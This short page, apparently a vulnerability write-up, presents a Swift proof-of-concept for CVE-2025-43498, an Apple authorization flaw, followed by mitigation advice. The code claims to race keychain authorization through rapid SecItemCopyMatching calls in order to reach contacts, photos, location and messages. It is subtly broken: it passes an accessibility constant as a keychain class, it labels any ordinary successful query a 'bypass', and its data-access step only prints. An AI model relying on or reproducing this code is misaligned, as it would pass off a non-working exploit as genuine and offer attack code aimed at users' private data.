CVE-2025-43498: Apple授权状态管理漏洞导致敏感数据访问

/* CVE-2025-43498 PoC - Apple Authorization State Management Bypass Note: This is a conceptual proof-of-concept demonstrating the vulnerability. Actual exploitation requires specific timing and conditions. */ import Foundation import Security class CVE202543498PoC { func exploitAuthorizationBypass() { print("CVE-2025-43498: Attempting to exploit authorization state management flaw") // Step 1: Create multiple authorization requests in rapid succession // to trigger state management race condition let resourceTypes = [ kSecAttrAccessibleWhenUnlocked, kSecClassGenericPassword, kSecClassInternetPassword, kSecClassCertificate, kSecClassKey ] // Step 2: Exploit the timing window in state transition for resource in resourceTypes { triggerAuthorizationRequest(resourceType: resource) // Short delay to exploit state management flaw Thread.sleep(forTimeInterval: 0.001) } // Step 3: Attempt to access protected data without proper authorization accessProtectedData() } private func triggerAuthorizationRequest(resourceType: CFString) { // Trigger authorization request that may bypass state validation let query: [String: Any] = [ kSecClass as String: resourceType, kSecReturnAttributes as String: true, kSecMatchLimit as String: kSecMatchLimitOne ] var result: AnyObject? let status = SecItemCopyMatching(query as CFDictionary, &result) if status == errSecSuccess { print("Authorization bypassed for resource type: \(resourceType)") } } private func accessProtectedData() { // Attempt to access sensitive data using bypassed authorization print("Attempting to access sensitive user data...") // In real exploitation, this would access: // - Contacts database // - Photo library // - Location history // - Messages and call logs } } // Usage: Requires user to install and run this malicious app // let poc = CVE202543498PoC() // poc.exploitAuthorizationBypass() /* Mitigation: 1. Update to iOS 26.1, iPadOS 26.1, macOS 15.7.2/14.8.2/26.1, visionOS 26.1 2. Only install apps from official App Store 3. Review app permissions regularly */